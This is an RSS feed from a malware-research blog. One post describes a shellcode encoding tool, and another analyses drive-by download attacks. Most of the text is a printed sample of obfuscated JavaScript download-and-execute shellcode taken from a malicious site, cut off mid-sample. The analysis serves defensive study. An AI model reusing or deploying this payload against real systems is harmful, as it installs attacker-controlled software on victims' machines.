<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Malc0de &#187; Tools</title>
	<atom:link href="http://www.blog.malc0de.com/category/tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blog.malc0de.com</link>
	<description></description>
	<lastBuildDate>Tue, 23 Mar 2010 01:25:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>BETA3 multi-format shellcode encoding tool</title>
		<link>http://www.blog.malc0de.com/2010/01/06/beta3-multi-format-shellcode-encoding-tool/</link>
		<comments>http://www.blog.malc0de.com/2010/01/06/beta3-multi-format-shellcode-encoding-tool/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 01:31:41 +0000</pubDate>
		<dc:creator>JD</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[decode shellcode]]></category>
		<category><![CDATA[encode shellcode]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.blog.malc0de.com/?p=588</guid>
		<description><![CDATA[BETA can convert raw binary shellcode into text that can be used in exploit source-code. It can convert raw binary data to a large number of encodings. It can also do the reverse: decode encoded data into binary from the same types of encodings. The official page where you can download it can be found here]]></description>
			<content:encoded><![CDATA[<p>BETA can convert raw binary shellcode into text that can be used in exploit source-code. It can convert raw binary data to a large number of encodings. It can also do the reverse: decode encoded data into binary from the same types of encodings. The official page where you can download it can be found <a href="http://code.google.com/p/beta3/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blog.malc0de.com/2010/01/06/beta3-multi-format-shellcode-encoding-tool/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		</item>
		<item>
		<title>Converting Shellcode into an Executable For Further Analysis</title>
		<link>http://www.blog.malc0de.com/2009/09/12/converting-shellcode-to-an-executable-for-further-analysis/</link>
		<comments>http://www.blog.malc0de.com/2009/09/12/converting-shellcode-to-an-executable-for-further-analysis/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 18:54:11 +0000</pubDate>
		<dc:creator>JD</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[code injection]]></category>
		<category><![CDATA[malicious urls]]></category>
		<category><![CDATA[reverse engineer]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.blog.malc0de.com/?p=292</guid>
		<description><![CDATA[Exploit Tool kit&#8217;s out in the wild often utilize Download and execute shell-code which when run on the end system downloads and executes a file to allow the attacker to control the system. This is commonly used in Drive By Download attacks where a victim visits a malicious web page that in turn attempts to ]]></description>
			<content:encoded><![CDATA[<p>Exploit Tool kit&#8217;s out in the wild often utilize Download and execute shell-code which when run on the end system downloads and executes a file to allow the attacker to control the system. This is commonly used in Drive By Download attacks where a victim visits a malicious web page that in turn attempts to execute the  shell-code in order to install software on the victim&#8217;s machine.</p>
<p>More often then not the shell-code is buried within obfuscated javascript. Searching the <a href="http://malc0de.com/tools/db.php">Murls</a> database reveals one such URL (hxxp://rrrxgvdf.6600.org/kuaile/19.htm).</p>
<p><img class="alignnone" title="Redirects" src="http://malc0de.com/images/map.png" alt="" width="600" height="516" /></p>
<p>The above image visualizes the series of redirects that occur via Iframe tags after the victim browses to (hxxp://rrrxgvdf.6600.org/kuaile/19.htm).  The example below was found at the following URL. <em>(wm.yxnjs.com_x148_of.js)</em> This shows a simple form of obfuscation where they substitute &#8220;%u&#8221; for &#8220;MTV&#8221;</p>
<p><strong>Example of Obfuscated Shellcode </strong><br />
<textarea cols="70" rows="10"> var MTV=&#8221;%u&#8221;;&lt;br /&gt; var YT=unescape;&lt;br /&gt; var s=YT(MTV+&#8221;E8&#8243;+&#8221;90&#8243;+MTV+&#8221;034D&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;0068&#8243;+MTV+&#8221;0020&#8243;+MTV+&#8221;6A00&#8243;+MTV+&#8221;FF00&#8243;+MTV+&#8221;B9D0&#8243;+MTV+&#8221;0800&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;F88B&#8221;+MTV+&#8221;05EB&#8221;+MTV+&#8221;F35E&#8221;+MTV+&#8221;FFA4&#8243;+MTV+&#8221;E8D0&#8243;+MTV+&#8221;FFF6&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;54E8&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;0003&#8243;+MTV+&#8221;8B00&#8243;+MTV+&#8221;E8F8&#8243;+MTV+&#8221;0038&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;64E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;E800&#8243;+MTV+&#8221;0046&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;F2E8&#8243;+MTV+&#8221;0003&#8243;+MTV+&#8221;8B00&#8243;+MTV+&#8221;E8F8&#8243;+MTV+&#8221;0022&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;5BE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;E800&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;0030&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;A0E8&#8243;+MTV+&#8221;0003&#8243;+MTV+&#8221;8B00&#8243;+MTV+&#8221;E8F8&#8243;+MTV+&#8221;000C&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;78E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;E800&#8243;+MTV+&#8221;001A&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;58EB&#8221;+MTV+&#8221;8B53&#8243;+MTV+&#8221;53DC&#8221;+MTV+&#8221;406A&#8221;+MTV+&#8221;0068&#8243;+MTV+&#8221;0010&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;5700&#8243;+MTV+&#8221;C8E8&#8243;+MTV+&#8221;0002&#8243;+MTV+&#8221;E800&#8243;+MTV+&#8221;00FA&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;C358&#8243;+MTV+&#8221;8B53&#8243;+MTV+&#8221;53DC&#8221;+MTV+&#8221;206A&#8221;+MTV+&#8221;0068&#8243;+MTV+&#8221;0010&#8243;+MTV+&#8221;5700&#8243;+MTV+&#8221;B0E8&#8243;+MTV+&#8221;0002&#8243;+MTV+&#8221;E800&#8243;+MTV+&#8221;00E2&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;C358&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;E857&#8243;+MTV+&#8221;0453&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;F88B&#8221;+MTV+&#8221;C933&#8243;+MTV+&#8221;3349&#8243;+MTV+&#8221;B0C0&#8243;+MTV+&#8221;FCC3&#8243;+MTV+&#8221;AEF2&#8243;+MTV+&#8221;478D&#8221;+MTV+&#8221;5FFF&#8221;+MTV+&#8221;5BC3&#8243;+MTV+&#8221;C63E&#8221;+MTV+&#8221;B807&#8243;+MTV+&#8221;893E&#8221;+MTV+&#8221;015F&#8221;+MTV+&#8221;3E66&#8243;+MTV+&#8221;47C7&#8243;+MTV+&#8221;FF05&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;C3E0&#8243;+MTV+&#8221;ACE9&#8243;+MTV+&#8221;0004&#8243;+MTV+&#8221;5B00&#8243;+MTV+&#8221;EC81&#8243;+MTV+&#8221;0114&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;D48B&#8221;+MTV+&#8221;C73E&#8221;+MTV+&#8221;6302&#8243;+MTV+&#8221;646D&#8221;+MTV+&#8221;3E20&#8243;+MTV+&#8221;42C7&#8243;+MTV+&#8221;2F04&#8243;+MTV+&#8221;2063&#8243;+MTV+&#8221;3E22&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;42C7&#8243;+MTV+&#8221;6308&#8243;+MTV+&#8221;646D&#8221;+MTV+&#8221;3E20&#8243;+MTV+&#8221;42C7&#8243;+MTV+&#8221;2F0C&#8221;+MTV+&#8221;2063&#8243;+MTV+&#8221;8322&#8243;+MTV+&#8221;10C2&#8243;+MTV+&#8221;C033&#8243;+MTV+&#8221;5050&#8243;+MTV+&#8221;0468&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;5200&#8243;+MTV+&#8221;5053&#8243;+MTV+&#8221;C8E8&#8243;+MTV+&#8221;0003&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;E800&#8243;+MTV+&#8221;0072&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;FC8B&#8221;+MTV+&#8221;C78B&#8221;+MTV+&#8221;C083&#8243;+MTV+&#8221;3E08&#8243;+MTV+&#8221;188A&#8221;+MTV+&#8221;DB84&#8243;+MTV+&#8221;0374&#8243;+MTV+&#8221;EB40&#8243;+MTV+&#8221;66F6&#8243;+MTV+&#8221;C73E&#8221;+MTV+&#8221;2200&#8243;+MTV+&#8221;3322&#8243;+MTV+&#8221;3ED2&#8243;+MTV+&#8221;5088&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;8302&#8243;+MTV+&#8221;54EC&#8221;+MTV+&#8221;C033&#8243;+MTV+&#8221;DB33&#8243;+MTV+&#8221;CC8B&#8221;+MTV+&#8221;F883&#8243;+MTV+&#8221;7D54&#8243;+MTV+&#8221;3E09&#8243;+MTV+&#8221;1C89&#8243;+MTV+&#8221;8308&#8243;+MTV+&#8221;04C0&#8243;+MTV+&#8221;F2EB&#8221;+MTV+&#8221;CC8B&#8221;+MTV+&#8221;D98B&#8221;+MTV+&#8221;C383&#8243;+MTV+&#8221;3310&#8243;+MTV+&#8221;3EC0&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;43C7&#8243;+MTV+&#8221;012C&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;5100&#8243;+MTV+&#8221;5053&#8243;+MTV+&#8221;5050&#8243;+MTV+&#8221;5050&#8243;+MTV+&#8221;5750&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;033B&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;19E8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;6400&#8243;+MTV+&#8221;04A1&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8D00&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;60A0&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E8FF&#8221;+MTV+&#8221;0339&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;DB33&#8243;+MTV+&#8221;5353&#8243;+MTV+&#8221;5353&#8243;+MTV+&#8221;D0FF&#8221;+MTV+&#8221;3880&#8243;+MTV+&#8221;74E9&#8243;+MTV+&#8221;8005&#8243;+MTV+&#8221;E838&#8243;+MTV+&#8221;0F75&#8243;+MTV+&#8221;7881&#8243;+MTV+&#8221;9005&#8243;+MTV+&#8221;4190&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;7490&#8243;+MTV+&#8221;5506&#8243;+MTV+&#8221;EC8B&#8221;+MTV+&#8221;408D&#8221;+MTV+&#8221;FF05&#8243;+MTV+&#8221;E8E0&#8243;+MTV+&#8221;FF17&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FF11&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;11B8&#8243;+MTV+&#8221;0401&#8243;+MTV+&#8221;C280&#8243;+MTV+&#8221;000C&#8221;+MTV+&#8221;04E8&#8243;+MTV+&#8221;FFFF&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;33FF&#8221;+MTV+&#8221;50C0&#8243;+MTV+&#8221;E854&#8243;+MTV+&#8221;0054&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;028B&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;D0FF&#8221;+MTV+&#8221;8036&#8243;+MTV+&#8221;243C&#8221;+MTV+&#8221;7700&#8243;+MTV+&#8221;E80A&#8221;+MTV+&#8221;0241&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;FF33&#8243;+MTV+&#8221;FF57&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;E8D0&#8243;+MTV+&#8221;01FB&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;FF68&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;FF00&#8243;+MTV+&#8221;E8D0&#8243;+MTV+&#8221;FED1&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;5753&#8243;+MTV+&#8221;3356&#8243;+MTV+&#8221;50C0&#8243;+MTV+&#8221;E854&#8243;+MTV+&#8221;001E&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;0255&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;0000&#8243;+MTV+&#8221;D0FF&#8221;+MTV+&#8221;8036&#8243;+MTV+&#8221;243C&#8221;+MTV+&#8221;7700&#8243;+MTV+&#8221;E80A&#8221;+MTV+&#8221;020B&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;FF33&#8243;+MTV+&#8221;FF57&#8243;+MTV+&#8221;58D0&#8243;+MTV+&#8221;5F5E&#8221;+MTV+&#8221;C35B&#8221;+MTV+&#8221;02EB&#8221;+MTV+&#8221;C358&#8243;+MTV+&#8221;F9E8&#8243;+MTV+&#8221;FFFF&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;56FF&#8221;+MTV+&#8221;8357&#8243;+MTV+&#8221;08EC&#8221;+MTV+&#8221;FC8B&#8221;+MTV+&#8221;086A&#8221;+MTV+&#8221;3E57&#8243;+MTV+&#8221;77FF&#8221;+MTV+&#8221;E814&#8243;+MTV+&#8221;025D&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;D0FF&#8221;+MTV+&#8221;FC8B&#8221;+MTV+&#8221;6168&#8243;+MTV+&#8221;656D&#8221;+MTV+&#8221;6800&#8243;+MTV+&#8221;4549&#8243;+MTV+&#8221;7246&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;F48B&#8221;+MTV+&#8221;08B9&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;F300&#8243;+MTV+&#8221;75A6&#8243;+MTV+&#8221;6A2F&#8221;+MTV+&#8221;3E00&#8243;+MTV+&#8221;74FF&#8221;+MTV+&#8221;2024&#8243;+MTV+&#8221;24E8&#8243;+MTV+&#8221;0002&#8243;+MTV+&#8221;FF00&#8243;+MTV+&#8221;8BD0&#8243;+MTV+&#8221;E8F8&#8243;+MTV+&#8221;01CB&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;D0FF&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;F83B&#8221;+MTV+&#8221;0874&#8243;+MTV+&#8221;8B36&#8243;+MTV+&#8221;2444&#8243;+MTV+&#8221;3E20&#8243;+MTV+&#8221;00FF&#8221;+MTV+&#8221;FF3E&#8221;+MTV+&#8221;2474&#8243;+MTV+&#8221;E81C&#8221;+MTV+&#8221;01EF&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;D0FF&#8221;+MTV+&#8221;C483&#8243;+MTV+&#8221;5F10&#8243;+MTV+&#8221;B85E&#8221;+MTV+&#8221;0001&#8243;+MTV+&#8221;0000&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;68C3&#8243;+MTV+&#8221;6E6F&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;7568&#8243;+MTV+&#8221;6C72&#8243;+MTV+&#8221;EB6D&#8221;+MTV+&#8221;8D15&#8243;+MTV+&#8221;2444&#8243;+MTV+&#8221;5004&#8243;+MTV+&#8221;0BE8&#8243;+MTV+&#8221;FFFE&#8221;+MTV+&#8221;50FF&#8221;+MTV+&#8221;4AE8&#8243;+MTV+&#8221;0002&#8243;+MTV+&#8221;E900&#8243;+MTV+&#8221;FEE0&#8243;+MTV+&#8221;FFFF&#8221;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;E6E8&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;83FF&#8221;+MTV+&#8221;08C4&#8243;+MTV+&#8221;6AC3&#8243;+MTV+&#8221;686C&#8221;+MTV+&#8221;746E&#8221;+MTV+&#8221;6C64&#8243;+MTV+&#8221;15EB&#8221;+MTV+&#8221;448D&#8221;+MTV+&#8221;0424&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;FDE4&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E850&#8243;+MTV+&#8221;0223&#8243;+MTV+&#8221;0000&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;B9E9&#8243;+MTV+&#8221;FFFE&#8221;+MTV+&#8221;E8FF&#8221;+MTV+&#8221;FFE6&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;C483&#8243;+MTV+&#8221;C308&#8243;+MTV+&#8221;3368&#8243;+MTV+&#8221;0032&#8243;+MTV+&#8221;6800&#8243;+MTV+&#8221;7375&#8243;+MTV+&#8221;7265&#8243;+MTV+&#8221;15EB&#8221;+MTV+&#8221;448D&#8221;+MTV+&#8221;0424&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;FDBA&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;FFFF&#8221;+MTV+&#8221;E850&#8243;+MTV+&#8221;01F9&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8FE9&#8243;+MTV+&#8221;FFFE&#8221;+MTV+&#8221;E8FF&#8221;+MTV+&#8221;FFE6&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;C483&#8243;+MTV+&#8221;C308&#8243;+MTV+&#8221;6368&#8243;+MTV+&#8221;7776&#8243;+MTV+&#8221;6800&#8243;+MTV+&#8221;6873&#8243;+MTV+&#8221;6F64&#8243;+MTV+&#8221;15EB&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;448D&#8221;+MTV+&#8221;0424&#8243;+MTV+&#8221;E850&#8243;+MTV+&#8221;FD90&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E850&#8243;+MTV+&#8221;01CF&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;65E9&#8243;+MTV+&#8221;FFFE&#8221;+MTV+&#8221;E8FF&#8221;+MTV+&#8221;FFE6&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;C483&#8243;+MTV+&#8221;C308&#8243;+MTV+&#8221;7668&#8243;+MTV+&#8221;7867&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;EB00&#8243;+MTV+&#8221;8D15&#8243;+MTV+&#8221;2444&#8243;+MTV+&#8221;5004&#8243;+MTV+&#8221;6BE8&#8243;+MTV+&#8221;FFFD&#8221;+MTV+&#8221;50FF&#8221;+MTV+&#8221;AAE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;E900&#8243;+MTV+&#8221;FE40&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E6E8&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;83FF&#8221;+MTV+&#8221;04C4&#8243;+MTV+&#8221;E8C3&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;01AB&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;1B68&#8243;+MTV+&#8221;46C6&#8243;+MTV+&#8221;5079&#8243;+MTV+&#8221;C6E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;0197&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;EC68&#8243;+MTV+&#8221;0397&#8243;+MTV+&#8221;500C&#8221;+MTV+&#8221;B2E8&#8243;+MTV+&#8221;0001&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;0183&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;AA68&#8243;+MTV+&#8221;0DFC&#8221;+MTV+&#8221;507C&#8221;+MTV+&#8221;9EE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;016F&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;ED68&#8243;+MTV+&#8221;EF56&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;5036&#8243;+MTV+&#8221;8AE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;015B&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;F068&#8243;+MTV+&#8221;048A&#8221;+MTV+&#8221;505F&#8221;+MTV+&#8221;76E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FEF7&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;FFFF&#8221;+MTV+&#8221;7868&#8243;+MTV+&#8221;DB68&#8243;+MTV+&#8221;501C&#8221;+MTV+&#8221;62E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;0133&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;EF68&#8243;+MTV+&#8221;E0CE&#8221;+MTV+&#8221;5060&#8243;+MTV+&#8221;4EE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;011F&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;B068&#8243;+MTV+&#8221;2D49&#8243;+MTV+&#8221;50DB&#8221;+MTV+&#8221;3AE8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FF36&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;AB68&#8243;+MTV+&#8221;9B5E&#8221;+MTV+&#8221;501E&#8221;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;26E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FEA7&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;5968&#8243;+MTV+&#8221;8197&#8243;+MTV+&#8221;5002&#8243;+MTV+&#8221;12E8&#8243;+MTV+&#8221;0001&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;00E3&#8243;+MTV+&#8221;0000&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;7E68&#8243;+MTV+&#8221;E2D8&#8243;+MTV+&#8221;5073&#8243;+MTV+&#8221;FEE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;00CF&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;9E68&#8243;+MTV+&#8221;BBF9&#8243;+MTV+&#8221;5035&#8243;+MTV+&#8221;EAE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE92&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;5768&#8243;+MTV+&#8221;B5A0&#8243;+MTV+&#8221;50BB&#8221;+MTV+&#8221;D6E8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE7E&#8221;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;1A68&#8243;+MTV+&#8221;1E7A&#8221;+MTV+&#8221;5002&#8243;+MTV+&#8221;C2E8&#8243;+MTV+&#8221;0000&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE6A&#8221;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E068&#8243;+MTV+&#8221;305B&#8221;+MTV+&#8221;5094&#8243;+MTV+&#8221;AEE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE56&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;9768&#8243;+MTV+&#8221;E2C9&#8243;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;50A3&#8243;+MTV+&#8221;9AE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE42&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;6868&#8243;+MTV+&#8221;C524&#8243;+MTV+&#8221;50B3&#8243;+MTV+&#8221;86E8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;0057&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;0000&#8243;+MTV+&#8221;7268&#8243;+MTV+&#8221;B3FE&#8221;+MTV+&#8221;5016&#8243;+MTV+&#8221;72E8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FE44&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;13EB&#8221;+MTV+&#8221;656A&#8221;+MTV+&#8221;E850&#8243;+MTV+&#8221;FBE0&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E850&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;FEAB&#8221;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;B5E9&#8243;+MTV+&#8221;FFFC&#8221;+MTV+&#8221;E8FF&#8221;+MTV+&#8221;FFE8&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FDA9&#8243;+MTV+&#8221;FFFF&#8221;+MTV+&#8221;4F68&#8243;+MTV+&#8221;4FEF&#8221;+MTV+&#8221;5005&#8243;+MTV+&#8221;3EE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;E8C3&#8243;+MTV+&#8221;000F&#8221;+MTV+&#8221;0000&#8243;+MTV+&#8221;8E68&#8243;+MTV+&#8221;0E4E&#8221;+MTV+&#8221;50EC&#8221;+MTV+&#8221;2AE8&#8243;+MTV+&#8221;0000&#8243;+MTV+&#8221;8300&#8243;+MTV+&#8221;08C4&#8243;+MTV+&#8221;33C3&#8243;+MTV+&#8221;64C0&#8243;+MTV+&#8221;408B&#8221;+MTV+&#8221;8530&#8243;+MTV+&#8221;78C0&#8243;+MTV+&#8221;3E10&#8243;+MTV+&#8221;408B&#8221;);&lt;br /&gt; s+=YT(MTV+&#8221;3E0C&#8221;+MTV+&#8221;708B&#8221;+MTV+&#8221;AD1C&#8221;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;0840&#8243;+MTV+&#8221;EBC3&#8243;+MTV+&#8221;3E0B&#8221;+MTV+&#8221;408B&#8221;+MTV+&#8221;8334&#8243;+MTV+&#8221;7CC0&#8243;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;3C40&#8243;+MTV+&#8221;60C3&#8243;+MTV+&#8221;8B36&#8243;+MTV+&#8221;246C&#8221;+MTV+&#8221;3624&#8243;+MTV+&#8221;458B&#8221;);&lt;/p&gt; &lt;p&gt;s+=YT(MTV+&#8221;363C&#8221;+MTV+&#8221;548B&#8221;+MTV+&#8221;7828&#8243;+MTV+&#8221;D503&#8243;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;184A&#8221;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;205A&#8221;+MTV+&#8221;DD03&#8243;+MTV+&#8221;3BE3&#8243;+MTV+&#8221;3E49&#8243;+MTV+&#8221;348B&#8221;+MTV+&#8221;038B&#8221;+MTV+&#8221;33F5&#8243;+MTV+&#8221;33FF&#8221;+MTV+&#8221;FCC0&#8243;+MTV+&#8221;84AC&#8221;);&lt;/p&gt; 